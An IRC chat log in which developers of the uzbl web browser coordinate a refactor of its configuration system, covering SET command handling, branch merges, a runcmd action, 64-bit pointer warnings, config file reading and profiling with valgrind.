23:30 < DuClare> Sleep well Dieterbe :)
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23:45 < DuClare> rob|_, Pushed it.  http://github.com/DuClare/uzbl/commit/07d306ef509607510dda99d3197023b7c3d90d83
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23:48 < DuClare> Now I'm really going to bed.  :] →
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09:12 < ruskie> good morrow all
09:20 < dodobas> yelolo
09:20 < dodobas> *yello :)
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10:22 < rob|> morning.
10:28 < DuClare> Morning.
10:29 < rob|> just read the backlog. nice work duclare!
10:36 < rob|> btw: if (!strcmp(dir, " ")) { /* space unsets the variable */     <--- strcmp not nececessary here, if(*dir == ' ') should suffice
10:37 < rob|> oh and all that g_error/g_warning stuff will print to stderr, right?
10:37 < rob|> i was thinking about using g_printerr() which is basically a wrapper around an own handler
10:38 < DuClare> I think they do, yes.  But g_error also makes uzbl terminate :)
10:39 < rob|> well in the wrapper we can decide what to do. i.e. i'd like to add an ERRORMSG symbol to the stat.bar template and g_printerr seems perfect for this purpose
10:42 < DuClare> Yup, sounds good
10:42 < DuClare> Is there a reason the body of var_is() is 6 lines rather than one?
10:43 < rob|> no, i had something else in mind initially and forgot/was to lazy to change it afterwards ;)
10:43 < DuClare> Yup
10:44 < DuClare> I'll fix it along with the space checks
10:44 < rob|> ok
10:47 < rob|> so, the only missing bits from the old config system are useragent and always_insert_mode, right?
10:48 < DuClare> I think so
10:49 < DuClare> hmm
10:49 < DuClare> Modkey
10:50 < rob|> ah, right
10:51 < rob|> hmm, if the user sets always_insert_mode but not modkey - shall we default to alt as modkey or ignore the setting?
10:51 < DuClare> And reset_command_mode
10:51 < DuClare> rob|, I'd ignore it
10:52 < rob|> ok, ignore it and g_printerr("Warning: always_insert_mode set but no modkey defined") or something like that
10:52 < DuClare> Oh, nm, reset_command_mode is an int. :)
10:57 < DuClare> Do we really need these warnings?  Currently I haven't added much checking at all, and am just letting libsoup & webkit decide how to behave when the user sets bad values (which, IMO, is fine as long as this practice doesn't introduce potential crashes)
10:58 < DuClare> With checks and warnings, we'll spend multiple lines over a single line of user config. :x
11:00 < rob|> well, that's true
11:01 < rob|> letting the user know what's going on and why would be nice, though
11:01 < rob|> anyways, we can still at this when really needed
11:02 < DuClare> Hmm, yeah.. but if he's going to use always_insert_mode, then he's likely to know the consequences.  Technically it's not an error / problem to leave out modkey (whereas failing a fifo creation or such is)
11:05 < rob|> ok, let's just stick with the current implemenation and wait for user reactions ;)
11:07 < DuClare> Yup
11:10 < rob|> hmm, soup_session_remove_feature() in http_debug seems to be called in a wrong way
11:13 < rob|> soup_session_remove_feature
11:13 < rob|> oh
11:14 < rob|> soup_session_remove_feature(uzbl.net.soup_session, SOUP_SESSION_FEATURE(uzbl.net.soup_logger));
11:14 < rob|> does at least supress the warning
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11:50 < rob|> ok, status_top could get a bit hairy as we'd need to alter the widget packing at runtime
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11:56 < Dieterbe> morning ladies
11:56 < rob|> morning queen dieter
11:56 < Dieterbe> :)
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12:00 < Dieterbe> rob| / DuClare_ in the old code we do something like printf("<variable name> : ... \t"); for each variable, whether it was still NULL or had just been set. i like that, but of course now it's not so easy anymore
12:12 < DuClare> Okay, one more var.  Everything should be handled as soon as user_agent is done.
12:13 < rob|> status_top is still missing. can we alter the packing at runtime?
12:13 < rob|> or is there a better way to handle that specific bit?
12:13 < rob|> phone, brb
12:14 < DuClare> Oh, indeed
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12:22 < rob|> back
12:29 < zecrazytux> 20:29 < Dieterbe> uhm, you can download tarballs straight from github
12:30 < zecrazytux> is that usable through a script ?
12:31 < DuClare> rob|, I'd either remove status_top and use a command line argument OR make somebody who knows gtk handle it..
12:31 < zecrazytux> s/script/makefile
12:32 < zecrazytux> well no the name changes everytime :-(
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12:40 < rob|> DuClare: i guess i found a way to do it. using gtk_container_remove/add and g_object_ref should do it in theory ;)
12:41 < rob|> so the initial layout should be "hbox1 - hbox2 -hbox3" where hbox2 is the container for webkit and hbox1/3 are used for the statusbar
12:42 < DuClare> rob|, I suppose you can take care of it since you already looked into it? :)
12:42 < rob|> yep, will do
12:42 < DuClare> In the meanwhile, I'll handle user_agent
12:42 < rob|> ok, cool
12:43 < rob|> re. useragent, i guess it'll be best to move it to using gscanner, i.e. extend the statusbar function a bit to also handle useragent
12:47 < DuClare> Sounds feasible
13:30 < Dieterbe> re
13:35 < rob|> ok, pushed the status_top thing. we get a gtk warning there, though it seems to work
13:36 < rob|> maybe somebody finds out how to get rid of the warning
13:39 < rob|> hehe, nvm. got it
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13:46 < rob|> DuClare: how are you progressing?
13:51 < Dieterbe> can anyone give me a rundown of where we are, what things have been done the last few days and what's still todo?
13:53 < rob|> well, basically we have converted almost all of the cfg file to the new system. the only missing bit is useragent
13:54 < Dieterbe> and we still need to re-add --config flag and "line by line" file reading i assume?
13:54 < rob|> and that is the only value still read from the config file in my branch, as soon as duclare has finished it we can
13:54 < rob|> remove the config file routines alltogether
13:54 < rob|> Dieterbe: yes.
13:55 < Dieterbe> ok, i'm merging your stuff together but need to resolve a conflict. in a few minutes i'll push my merged stuff
13:55 < rob|> ok
14:00 < Dieterbe> hmm you guys both did something re: modkey. you made a function set_modkey but DuClare did some other stuff
14:00 < Dieterbe> http://github.com/robm/uzbl/commit/ec8973e07453baeee83fc7e8a229832acc872f47
14:00 < Dieterbe> http://github.com/DuClare/uzbl/commit/bac32a276e802b4d679c9006317b97e880fc7c7a
14:00 < Dieterbe> how should i merge this?
14:02 < Dieterbe> rob|  / DuClare ? ^^
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14:02 < Dieterbe> i have the feeling rob's method is better, but DuClare seems to do some stuff that is not in rob's set_modkey function
14:04 < rob|> heh, we worked on the same stuff again. well, it is not my method but i rather just c&p the existing code
14:05 < rob|> duclare's way looks better, though
14:05 < DuClare> Oops. :>
14:07 < Dieterbe> right, DuClares thing looks good
14:07 < DuClare> Dieterbe, I don't really do "some stuff", I just replaced the huge block of g_strrstr* lines with a table and a loop that handles it
14:07 < Dieterbe> so i think i will remove the set_modkey function and uses DuClare's method
14:07 < DuClare> Oh yeah
14:07 < Dieterbe> DuClare: yeah i didn't study your code well enough at first :)
14:11 < Dieterbe> DuClare: is there a reason you still have the huge block of modkey stuff in settings_init ?
14:11 < Dieterbe> can't we remove that?
14:16 < DuClare> Dieterbe, We can.
14:16 < DuClare> I didn't bother with touching settings_init since it's going to be cleared anyway
14:19 < Dieterbe> k
14:19 < Dieterbe> we should also add feedback in set_var_value. similar to what we did in settings-init
14:20 < rob|> hmm, i think we should just use get_var_value for that and not spam the user's terminal with tons of messages
14:21 < rob|> btw, that function also needs some work. it would be probably best to merge set_var_value with get_var_value so we don't have to do the strcmp thing multiple times
14:22 < Dieterbe> well i like immediate visual feedback. (like how we did it before) if a user doesn't want this, he can always >/dev/null
14:22 < DuClare> If the user wants feedback, he can always GET varname
14:22 < DuClare> ;)
14:25 < rob|> right, the feedback is nice for debugging purposes, though a user can trust uzbl to process his commands correctly if there are no error messages :)
14:26 < Dieterbe> hmm ok
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14:28 < github> uzbl: DuClare config-refactor SHA1-00c500d
14:28 < github> Cleanup.
14:28 < github> http://bit.ly/osRwj
14:28 < github> uzbl: DuClare config-refactor SHA1-bac32a2
14:28 < github> Added SET handling for modkey
14:28 < github> http://bit.ly/13dDB5
14:28 < github> uzbl: DuClare config-refactor SHA1-9f95fa5
14:28 < github> set_var_value: suppress warnings from remove_feature and ip
14:29 < github> http://bit.ly/mMQzz
14:29 < github> uzbl: DuClare config-refactor SHA1-c2950b3
14:29 < github> Added SET handling for always_insert_mode.
14:29 < github> http://bit.ly/KhuR9
14:29 < github> uzbl: Dieter Plaetinck config-refactor SHA1-76be6c9
14:29 < github> merge in Duclares stuff
14:29 < github> http://bit.ly/g8IiT
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14:29 < rob|> very cool guys, i like this dynamic system a lot!
14:30 < Dieterbe> DuClare , rob| i merged in your guys code. can you diff my new config-refactor branch against your stuff and verify that it looks good?
14:31 < DuClare> set useragent = uzbl (Webkit WEBKIT_MAJOR.WEBKIT_MINOR.WEBKIT_MICRO on SYSNAME/NODENAME/KERNREL/KERNVER)
14:31 < DuClare> get useragent
14:31 < DuClare> VAR: useragent VALUE: uzbl (Webkit 1.1.4 on ///)
14:31 < DuClare> I think it works.
14:31 < Dieterbe> uhm.. except that some variables are replaced by empty strings
14:34 < DuClare> Hmm..
14:36 < rob|> looks like you're just accessing the unameinfo thing in a wrong way
14:36 < Dieterbe> why are the bindings in sampleconfig-pipe like "bind    o _       = uri %s" and not "bind o _ = set uri %s" ? because 'uri' is not a command anymore right? will this even work?
14:36 < rob|> Dieterbe: no, uri is still a command
14:37 < Dieterbe> but it's the same as 'set uri' right?
14:37 < rob|> well, almost.
14:38 < rob|> from the users perspective 'cmd uri foo' and 'set uri = foo' is the same thing
14:38 < rob|> though, uri is just a special case
14:39 < DuClare> FYI, I added runcmd which allows stuff like bind :$_ = runcmd %s
14:39 < DuClare> :$bind xx = exit
14:40 < rob|> aah, good idea
14:40 < DuClare> Didn't push yet, as I'm in the middle of trying to figure out what's wrong with this useragent thingy
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14:41 < Dieterbe> i don't get it
14:41 < rob|> Dieterbe: what exactly?
14:41 < Dieterbe> what DuClare just said
14:42 < DuClare> Well
14:42 < rob|> well, you can basicaly have bindings like ":exit" or ":uri foo"
14:42 < DuClare> We have two sets of commands...
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14:42 < DuClare> The ones that are used when binding.. and the ones read from pipes <,<
14:43 < DuClare> My addition lets one use the latter via bindings
14:43 < rob|> the ones used for bindings are called "actions", btw
14:43 < DuClare> Okay
14:44 < Dieterbe> so basically you use string replacing in bound commands, not for string replacing like with uri %s, but for triggering a command
14:44 < rob|> right
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14:45 < DuClare> Yeah.  So bindings bind an action, and runcmd is an action which runs a command..
14:45 < DuClare> :)
14:45 < rob|> man, this is getting really powerful
14:47 < Dieterbe> i will have to read through the whole codebase and draw a schematic
14:48 < Dieterbe> cause i'm lost :)
14:48 < rob|> hehe
14:49 < Dieterbe> btw, try to keep your introduced differences minimal. don't make changes unless they really improve something.  i'm now merging sampleconfig-pipe into sampleconfig-dev which has a different structure/layout etc
14:49 < rob|> oh btw, what was the name of the tool that plotted all functions and their relations as an scg grapg
14:49 < rob|> *grpah
14:49 < Dieterbe> it would have been easier if you guys would have made the changes into sampleconfig-dev directly
14:49 < rob|> svg graph, that is
14:50 < Dieterbe> graphviz?
14:51 < rob|> hmm, might be it. do you know if it comes bundled with a tool for C?
14:51 < rob|> that would be cool to enhance the functions
14:52 < Dieterbe> not sure about that.
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14:56 < github> uzbl: Dieter Plaetinck config-refactor SHA1-cb0ab53
14:56 < github> merge pipe config into dev config
14:56 < github> http://bit.ly/EG2k7
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15:00 < rob|> i'm searching for something like this http://www.ibm.com/developerworks/library/l-graphvis/
15:00 < rob|> look at figure 5
15:01 < rob|> that's what i'd like to have for uzbl
15:01 < Dieterbe> that looks sweet
15:01  * Dieterbe wants
15:02 < DuClare> Dieterbe, rob|: Pushed.  Dieterbe, any chance you could merge my commits now?  I'd then merge back the changes from your branch
15:03 < rob|> i'll merge from dieter, too
15:03 < Dieterbe> please check my code against yours to see if i did not make any mistakes
15:04 < Dieterbe> i did a lot of merging and not much testing yet :)
15:04 < DuClare> I glanced through the diff once
15:05 < greyfrog> /joi/topic
15:05 < greyfrog> sry :P
15:06 < DuClare> Hmm
15:08 < DuClare> Dieterbe, Almost good, but you have a duplicate there
15:08 < Dieterbe> DuClare: hm?
15:08 < DuClare> always_insert and always_insert_mode (in set_var_value)
15:09 < DuClare> The same duplicate is in var_name_to_ptr[]
15:10 < Dieterbe> thanks i'll fix it
15:11 < DuClare> Hmm, did you merge my latest commits yet?  I'd like to rename parse_status_template to expand_template now that it's used for both useragent and status
15:12 < Dieterbe> no
15:14 < DuClare> Okay, should be good for merging now.
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15:19 < Dieterbe> merged and pushed
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15:20 < github> uzbl: DuClare config-refactor SHA1-5171e78
15:20 < github> Add missing declaration, add runcmd for running bind, etc. via gui
15:20 < github> http://bit.ly/tapd8
15:20 < github> uzbl: DuClare config-refactor SHA1-0729324
15:20 < github> Cleanup.
15:20 < github> http://bit.ly/12uKZi
15:20 < github> uzbl: DuClare config-refactor SHA1-b329cac
15:20 < github> Add SET handling for useragent.
15:20 < github> http://bit.ly/mswL2
15:20 < github> uzbl: DuClare config-refactor SHA1-11160de
15:20 < github> Rename parse_status_template to expand_template (it's used for useragent too)
15:20 < github> http://bit.ly/znfp3
15:20 < github> uzbl: Dieter Plaetinck config-refactor SHA1-8bb0346
15:20 < github> fix for too many always_insert_mode stuff
15:20 < github> http://bit.ly/Xwerc
15:20 < github> uzbl: Dieter Plaetinck config-refactor SHA1-d039532
15:20 < github> merge in Duclares stuff
15:20 < github> http://bit.ly/bP9IK
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15:21 < Dieterbe> now double check the diff and merge from me.
15:21 < DuClare> Yep
15:23 < Dieterbe> rob|: a poor mans way to do http://www.ibm.com/developerworks/library/l-graphvis/ would be to valgrind it, i guses
15:24 < rob|> right, and generate a graph from valgrind's output
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15:26 < Dieterbe> i'm not sure about the pro's and cons of different approaches though.
15:26 < rob|> wow, the merge went without any conflicts :)
15:26 < Dieterbe> reading the article..
15:27 < DuClare> Dieterbe, Hm, found another little duplicate -- "modkey" appears twice in the varname->ptr map.  Other than that, I'm not seeing anything odd.
15:30 < Dieterbe> fixing..
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15:32 < github> uzbl: Dieter Plaetinck config-refactor SHA1-114df42
15:32 < github> fix for dup modkey entries. reorder entries in var_name_to_ptr
15:32 < github> http://bit.ly/UUjRC
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15:33 < DuClare> I removed the useragent stuff + something from settings_init, am testing now..
15:34 < DuClare> Seems to be working fine
15:34 < rob|> we need to fix sampleconfig-dev, though. it looks really messy
15:36 < DuClare> Back down to 1595 lines. :]
15:36 < Dieterbe> yeah basically i took -pipe, reordered it for easy merging into -dev. pulled in the -pipe stuff but kept the -dev stuff if there were no -pipe alternatives (but commented that out), and i also added some todo's for things we should still discuss/revise
15:37 < DuClare> The switch construct is funny.. supposedly it eliminates some repetition, but then you're repeating break; all over the place
15:38 < DuClare> Got twenty lines with only break; on it. :>
15:38 < rob|> well, that's C ;)
15:39 < rob|> i mean, we shouldn't be to restrictive in respect to slocs. you cab write the same thing in one or more readable in 3 lines
15:39 < rob|> *too
15:39 < DuClare> slocs?
15:39 < DuClare> Oh
15:39 < DuClare> Right
15:39 < rob|> source lines of code
15:41 < rob|> anyways - Hyvää työtä, DuClare ;)
15:42 < Dieterbe> o_O
15:42 < Dieterbe> say what?
15:43 < DuClare> rob|, You're going to bed at this hour?  :x
15:43 < rob|> uh?! was meant to mean "Good work"
15:43 < DuClare> Ehehe :)
15:43  * rob| blames google once again
15:43 < DuClare> I misread it
15:44 < DuClare> työtä = work, yötä = night
15:44 < rob|> ah, i see
15:44 < rob|> difficult language
15:44 < DuClare> Perhaps it's about time I take a break. :)
15:44 < Laquendi> lol im native and missread it too :P
15:45 < DuClare> Haven't eaten anything today
15:45 < rob|> i have _some_ experience with hungarian wich is supposed to be quite similar to finish
15:45 < DuClare> Yup, Hungarian is interesting
15:47 < Dieterbe> rob|: do you have experience with profiling C code? is it just gcc -g , then valgrind --tool=callgrind ./uzbl, and then we get a file we can open with kcachegrind?
15:47 < rob|> Dieterbe: i didn't do that since some time, though i guess it's basically like you described it
15:48  * Dieterbe gonna try
15:48 < rob|> i couldn't even remember the names of those tools ;)
15:48 < rob|> ok, a call grpah would be a cool addition for the website
15:53 < rob|> oh btw, we're leaking in itos()
15:55 < rob|> i.e. we're leaking if we don't explicitly free the string returned by itos
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15:56 < Dieterbe> hmmz that seems obvious enough :P
15:59 < Dieterbe> man it's not so fun what deps you get if you want to install kcachegrind ( kdesdk package)
16:02 < Dieterbe> cool it works
16:03 < Dieterbe> funny. we spend 0.0 time in uzbl.c itself :P everything is in external libraries ;)
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16:05 < DuClare> Dieterbe, Hmm, you sort of broke something when you renamed never_reset_mode to reset_command_mode
16:05 < DuClare> I had used a negative for a purpose..
16:06 < DuClare> It's because it was supposed to reset by default, and if you *don't* want it to be reset, then you tell it to never reset it..
16:06 < DuClare> Now it's sort of the other way around :)
16:07 < Dieterbe> i changed the name + the inversion in the if() check + the default 
16:08 < Dieterbe> woohoo i can indeed generate a graph with kcachegrind
16:08 < DuClare> Uhh.
16:10 < DuClare> rob|, Bug: set status_top = <fuu> messes up focus or something so no further keypresses are registered until you click the document area..
16:15 < DuClare> Dieterbe, Right, I probably removed the default value in my branch.  I had used a negative because I wanted to avoid having to set defaults in code :l
16:16 < DuClare> And I removed it because I thought init_settings is getting removed altogether when the old config stuff goes away. :)
16:19 < Dieterbe> so long story short.. there is no problem? :P
16:20 < rob|> DuClare: hmm, not sure what might cause it.
16:20 < DuClare> rob|, Does it happen on your end?
16:21 < rob|> btw, last commit has a fix for the itos() issue
16:21 < rob|> DuClare: yes, happens here too
16:22 < DuClare> Itos issue?
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16:22 < barrucadu> Hi :)
16:23 < DuClare> o/
16:23 < barrucadu> I've had exams this week, so I resisted the urge to IRC :p
16:23 < Dieterbe> that explains :)
16:23 < Dieterbe> so how did they go barrucadu ?
16:23 < barrucadu> Good, I think
16:24 < barrucadu> I've got three exams next week (Wednesday and Thursday), so I'll probably disappear after Monday
16:24 < rob|> DuClare: can you recheck with the latest commit?
16:24 < barrucadu> Nice work on the config refactoring
16:25 < rob|> barrucadu: :)
16:27 < Dieterbe> man.. being a control freak and not knowing the code well in your "own" project sucks :P
16:27 < barrucadu> I notice it says "Config /home/barrucadu/.config/uzbl/config loading failed" when starting, but the config has definitely been loaded.
16:30 < DuClare> rob|, Works, great, thank you.
16:30 < barrucadu> Oh, no, I'm being stupid. :p
16:31 < rob|> DuClare: ok, fine :)
16:46 < Dieterbe> rob| / DuClare : why don't we store function pointers in uzbl.behave.commands ?
16:48 < Dieterbe> I don't get it.. we put Commands like view_go_back in there, but I don't find their definition
16:53 < rob|> Dieterbe: those are being expanded by #define VIEWFUNC(name) ...
16:55 < rob|> that's the original code, no changes there
16:55 < Dieterbe> yeah indeed
16:55 < Dieterbe> but those are just normal functions
16:55 < Dieterbe> in uzbl.behave.commands, we store "Commands"
16:57 < Dieterbe> that's what i don't understand
16:58 < rob|> that's the hash, we also have a typedef void (*Command)(WebKitWebView*, const char *);
16:59 < rob|> i.e. the actual function pointer
17:00 < rob|> in other words the commands hash stores mappings of "string" -> command_function_pointer
17:02 < rob|> where
17:02 < rob|> "string" is the command name that the user typed
17:03 < Dieterbe> but at thepoint where you define cmdlist, you insert Command view_go_back in the struct
17:04 < Dieterbe> but where is that Command view_go_back defined?
17:05 < rob|> VIEWFUNC(go_back)
17:06 < DuClare> Added actions for scrolling to the beginning / end of buffer
17:07 < rob|> though, you've got a point all those indirections the VIEWFUNC macro does are hard to resolve mentally
17:07 < Dieterbe> rob|: but those are _functions_ not _Commands_ what am i missing?
17:07 < _19LIONZ> How can I edit the size of the font used in the statusbar ?
17:08 < DuClare> status_format
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17:08 < rob|> Dieterbe: nothing. the VIEFUNC macro does the expasion of certain command names to the actual function name
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17:09 < _19LIONZ> DuClare: there is no size in the example
17:09 < Dieterbe> _19LIONZ: http://library.gnome.org/devel/pango/stable/PangoMarkupFormat.html
17:09 < Dieterbe> look there for possibilities
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17:10 < _19LIONZ> Dieterbe: thanks
17:10  * barrucadu wants a more reliable internet connection
17:10 < rob|> _19LIONZ: http://www.pygtk.org/pygtk2reference/pango-markup-language.html   <-- see here for a description of all formatting commands usable in status_format
17:11 < rob|> oh
17:11 < Dieterbe> rob|: first !!!!!! :D
17:11 < rob|> hehe
17:11 < Dieterbe> "see here for a description of all formatting commands usable in status_format"
17:11 < Dieterbe> usable in status_format in uzbl :)
17:11 < rob|> sure, what else :p
17:12 < barrucadu> Uzbl in Uzbl's status format :p
17:12 < Dieterbe> yeah :)
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17:19 < Dieterbe> hmm do we have a weird construct here?
17:20 < DuClare> Hmm?
17:20 < Dieterbe> you can write "cmd load_uri" into the fifo, which will run runcmd -> parse_cmd_line -> parse_command which takes the pointer from uzbl.behave.commands to execute the load_uri function
17:20 < Dieterbe> that's just one example
17:20 < Dieterbe> you can basically execute any function from uzbl.behave.commands through runcmd ?
17:21 < DuClare> No, it won't run runcmd
17:22 < DuClare> runcmd is used in binds only
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17:23 < DuClare> Dieterbe, runcmd is a way to use the pipe stuff via binds
17:24 < DuClare> I.e. bind :$_ = runcmd %s allows you to do :$bind xx = cmd exit
17:24 < DuClare> Or :$bind foo = bar
17:24 < DuClare> So you can make bindings on the fly, without a fifo
17:28 < Dieterbe> but runcmd is a key in uzbl.behave.commands, so if runcmd gets a "cmd runcmd" function, it calls parse_command, which looks in uzbl.behave.commands and executes runcmd again, so you can get a loop
17:30 < DuClare> You can also get a loop in c if you make functions call each other
17:31 < Dieterbe> yeah that's exactly what you can do with runcmd :P
17:31 < DuClare> It won't make an infinite loop unless you pass an infinite parameter to it..
17:32 < DuClare> I don't see what's the problem
17:32 < DuClare> If the user wants to loop, let him loop.  I don't think he wants to -- in which case he doesn't. :)
17:33 < Dieterbe> i didn't say infinite :)
17:34 < Dieterbe> it could be only one loop :)
17:34 < DuClare> .. so there's no problem :)
17:36 < DuClare> One can actually do cmd runcmd cmd runcmd cmd uri google.com if he likes to. :>
17:37 < rob|> yeah, indirections ftw! we could make a contest who can write the most trivial uzbl command with the most indirections ;)
17:38 < barrucadu> robl: "Obfusticated Uzbl Competition"? ;)
17:38 < rob|> yeah :)
17:40 < Dieterbe> i just drew a new schematic and tbh i still don't 100% grasp it
17:42 < Dieterbe> but yeah.. that'll come
17:42 < Dieterbe> what do you guys think of some cleaning up?
17:42 < Dieterbe> and in parse_cmd_line, we agreed to check the full first "word" of the command, not just the first letter
17:44 < rob|> cleaning up == good thing, you should probably get read of settings_init()
17:44 < rob|> s/read/rid/
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17:49 < github> uzbl: Dieter Plaetinck config-refactor SHA1-96a449a
17:49 < github> valgrind profiling
17:49 < github> http://bit.ly/s5fq9
17:49 < github> uzbl: Dieter Plaetinck config-refactor SHA1-5ece4cb
17:49 < github> deprecated comment
17:49 < github> http://bit.ly/oEcuC
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18:06 < Dieterbe> rob|, DuClare i'll remove the ini-file stuff and replace it with "read line by line" stuff
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18:13 < rob|> Dieterbe: ok. could you add reset_command_mode to the parser, too?
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18:24 < rob|> ok, pushed a fix for control_fifo
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18:31 < rob|> hmm, now it is even possible to create a gui config tool for uzbl with a live view of the settings
18:34 < Dieterbe> blasphemy!
18:34 < Dieterbe> don't say that out loud :)
18:36 < rob|> hehe
18:40 < DuClare> Meheh
18:40 < DuClare> rob|, I've already added reset_command_mode :x
18:40 < rob|> DuClare: ah, ok.
18:44 < rob|> so settings_init() is obsolote now, right?
18:46 < DuClare> At least its body is.  I'll wait for diet's push
18:46 < rob|> right, me too.
18:47 < Dieterbe> whaoaa no guys
18:47 < Dieterbe> settings_init still loads the config
18:47 < Dieterbe> (in fact the name settings-init is not too appropriate anymore, load_config would be better, but we'll change that later. first i want to make this work)
18:48 < rob|> ok, shouldn't we rename it to something more meaningful? like load_config() ;)
18:48 < rob|> man!
18:49 < DuClare> Dieterbe, That's why I said its body is obsolete -- because its body consisted of old cfg stuff ;)
18:50 < DuClare> rob|, Is there no integer type that is always the size of a pointer?
18:51 < rob|> hmm, i think there is none if you want "portable" code
18:51 < DuClare> On my sys int is 32 bits while pointers are 64 bits, so I'm getting warnings.. that also caused the bug I fixed in set_var_value
18:51 < rob|> i thought about moving the void * stuff to gpointer, though
18:51 < DuClare> Sure
18:52 < rob|> not sure wether that's more stable?!
18:52 < DuClare> I tried that at a point in fact
18:52 < DuClare> No
18:52 < rob|> hmm
18:52 < DuClare> gpointer is void*
18:52 < rob|> right
18:53 < Dieterbe> pushed my stuff, afk now. cya later
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18:53 < github> uzbl: Dieter Plaetinck config-refactor SHA1-75c29a1
18:53 < github> support reading config file line by line
18:53 < github> http://bit.ly/WNEKz
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18:56 < DuClare> rob|, Why are we converting the symbol tokens to pointers (in setup_scanner) and back to ints in expand_template?
18:57 < DuClare> Oh..
19:01 < rob|> hmm? we don't do that
19:12 < rob|> oh, now i see what you mean.
19:12 < rob|> hmm, can't recall why that was necessary
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19:12 < DuClare> rob|, I can
19:13 < DuClare> g_scanner_scope_add_symbol wants a pointer :)
19:13 < DuClare> I think I managed to fix something
19:13 < rob|> ah, right
19:14 < rob|> what?
19:14 < DuClare> Suppressed a warning
19:14 < DuClare> uzbl.c: In function ‘expand_template’:
19:14 < DuClare> uzbl.c:602: warning: cast from pointer to integer of different size
19:15 < rob|> ok, good thing
19:15 < DuClare> Did you get the warning?  Are you on 32bit or 64bit?
19:16 < rob|> 32 for OSS devel
19:16 < DuClare> Okay
19:16 < rob|> and no, i didn't get it
19:16 < DuClare> So it's related to the fact that ints are 32bit and pointers are 64bit here :x
19:17 < rob|> yes, that's odd indeed. we need to find a sane way to fix that in the near future
19:17 < rob|> it's not very likely to really break, though
19:17 < rob|> we're passinf ints after all
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19:21 < barrucadu> Hi
19:23 < rob|> hey barrucadu
19:24 < DuClare> Okay, I fixed all three warnings I was getting on 64bit.  But did I introduce regressions or warnings for 32bit? :]  Review & testing would be appreciated.  http://github.com/DuClare/uzbl/commit/4293a258255849854670ce12de428581904a1a24
19:26 < rob|> hmm, using long ints seems like a good solution
19:28 < rob|> git diff against your branch shows me a bit too many changes, i'll add that manually
19:29 < DuClare> I'm using gulong in the scanner specifically because the scanner's v_int (you see it in the commit) is gulong
19:30 < DuClare> http://euler.aero.iitb.ac.in/docs/Graphics/GTK-2.x/glib/glib-Lexical-Scanner.html
19:33 < rob|> hmm, segfault
19:36 < DuClare> :(
19:37 < rob|> ok, seems we can't do it like that
19:38 < Dieterbe> :(
19:38 < Dieterbe> let's start over in python!
19:38 < rob|> perl!
19:39 < DuClare> scheme!
19:39 < rob|> hehe, whre's the brainfuck guy? :P
19:39 < Dieterbe> or what about c# ? :)
19:39 < Dieterbe> brainfuck?
19:39 < Dieterbe> oh..
19:40 < Dieterbe> just googled
19:50 < DuClare> Meh
19:51  * DuClare is not particularly fond of the xdg stuff :x
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19:55 < Dieterbe> DuClare: why not?
19:55 < DuClare> Dieterbe, Looks like a lot of work to simply find a config file (which might not even get used at all)
19:56 < DuClare> Also, the line-by-line reader is broken
19:56 < Dieterbe> well, it helps me in keeping a clean ~, so i think it pays off big time :)
19:56 < Dieterbe> what's broken about it?
19:57 < DuClare> It doesn't care if the line is > 299 chars
19:57 < Dieterbe> i fixed that. i increased the limit to 1000 :P
19:57 < Dieterbe> not an ideal fix though
19:58 < Dieterbe> is there a C function to read a string without limit?
19:58 < DuClare> No portable & safe way
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19:59 < github> uzbl: Dieter Plaetinck config-refactor SHA1-48c4834
19:59 < github> reorder some stuff to make more sense + allow up to 1k chars on a line
19:59 < github> http://bit.ly/10353C
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19:59 < DuClare> Dieterbe, There's getline but it's a gnu extension
20:02 < DuClare> Dieterbe, I've got a line which is 5400 chars
20:02 < DuClare> :p
20:03 < rob|> why don't we use IO channels like in the other functions?
20:03 < barrucadu> DuClare: What on earth do you have that needs to be 5400 chars? :p
20:03 < DuClare> barrucadu, Hints
20:03 < barrucadu> Ah
20:04 < Dieterbe> well, we don't support 1k+ lines from now on. period
20:04 < DuClare> http://hikari.serveftp.org/hints.txt
20:04 < Dieterbe> we'll implement script_from_file anyway :)
20:04 < Dieterbe> rob|: seemed a bit overcomplicating things to me.
20:04 < rob|> still, that artificial limitation is ugly
20:04 < DuClare> Dieterbe, Yet you use xdg...
20:05 < rob|> hehe
20:05 < DuClare> What's overcomplicating :p
20:05 < Dieterbe> DuClare: i find xdg great.  i manage my ~ in version control and the xdg basedir specs makes things a _lot_ better
20:06 < Dieterbe> rob|: if we use iochannels, we can read strings of any arbitrary length?
20:06 < rob|> yes, g_io_channel_read_line() will take care of memory allocation
20:06 < Dieterbe> ah, that changes the case
20:06  * Dieterbe starts hacking
20:07 < Dieterbe> btw DuClare you will add reset_command_mode to the parser right?
20:07 < DuClare> Done already
20:07 < Dieterbe> hmm didn't saw it on github
20:08 < DuClare> 8b2e8ac8a34201e0512e8d640af02b0a534e8015
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20:09 < DuClare> 4 hours ago. :)
20:10 < Dieterbe> that's not in the parser
20:11 < Dieterbe> eg not in set_var_value
20:11 < DuClare> Not needed in set_var_value
20:11 < DuClare> The parser uses the table..
20:13 < Dieterbe> set_var_value uses the table and does a lot of  if(var_is()), but reset_command_mode is not in there?
20:13 < DuClare> Dieterbe, Correct
20:13 < DuClare> Dieterbe, The ifs are there for variables that need more than just changing the value
20:14 < DuClare> Notice they all run some code
20:15 < Dieterbe> oh
20:16 < Dieterbe> but...
20:16 < Dieterbe>  /* SET command */
20:16 < Dieterbe>     if(ctl_line[0] == 's' || ctl_line[0] == 'S') {
20:16 < Dieterbe>         tokens = g_regex_split(uzbl.comm.set_regex, ctl_line, 0);
20:16 < Dieterbe>         if(tokens[0][0] == 0) {
20:16 < Dieterbe>             set_var_value(tokens[1], tokens[2]);
20:16 < Dieterbe>             g_strfreev(tokens);
20:16 < Dieterbe>         }
20:16 < Dieterbe> this happens always?
20:17 < DuClare> It happens when a "SET foo = ..." is to be parsed
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20:17 < DuClare> I.e. it extracts the variable & the value from the command line and passes them to set_var_value
20:18 < rob|> set_var_value will in turn set the actual var to that value _and_ run some other code if necessary
20:19 < Dieterbe> okay, maybe i'm blind, but what i see in set_var_value is only branches per varname, not something that happens regardless of the varname
20:19 < rob|> look closer ;)
20:20 < DuClare> Dieterbe, See the else branch.  Pay attention to *p
20:21 < Dieterbe> ooooh. now my bell is rung
20:21 < Dieterbe> my mistake fellas
20:21 < Dieterbe> (yes i'm wearing my glasses!)
20:22 < DuClare> I'm turning blind.  I have to take the front seats at school and even then I have some trouble seeing
20:23 < rob|> DuClare: you're clearly using crappy fonts! --- crappy fonts: they make you ill --
20:24 < Dieterbe> our your teacher can't write :P
20:29 < DuClare> rob|, What's a good font? :)
20:31 < barrucadu> DuClare: Onuava is a wonderful font :)
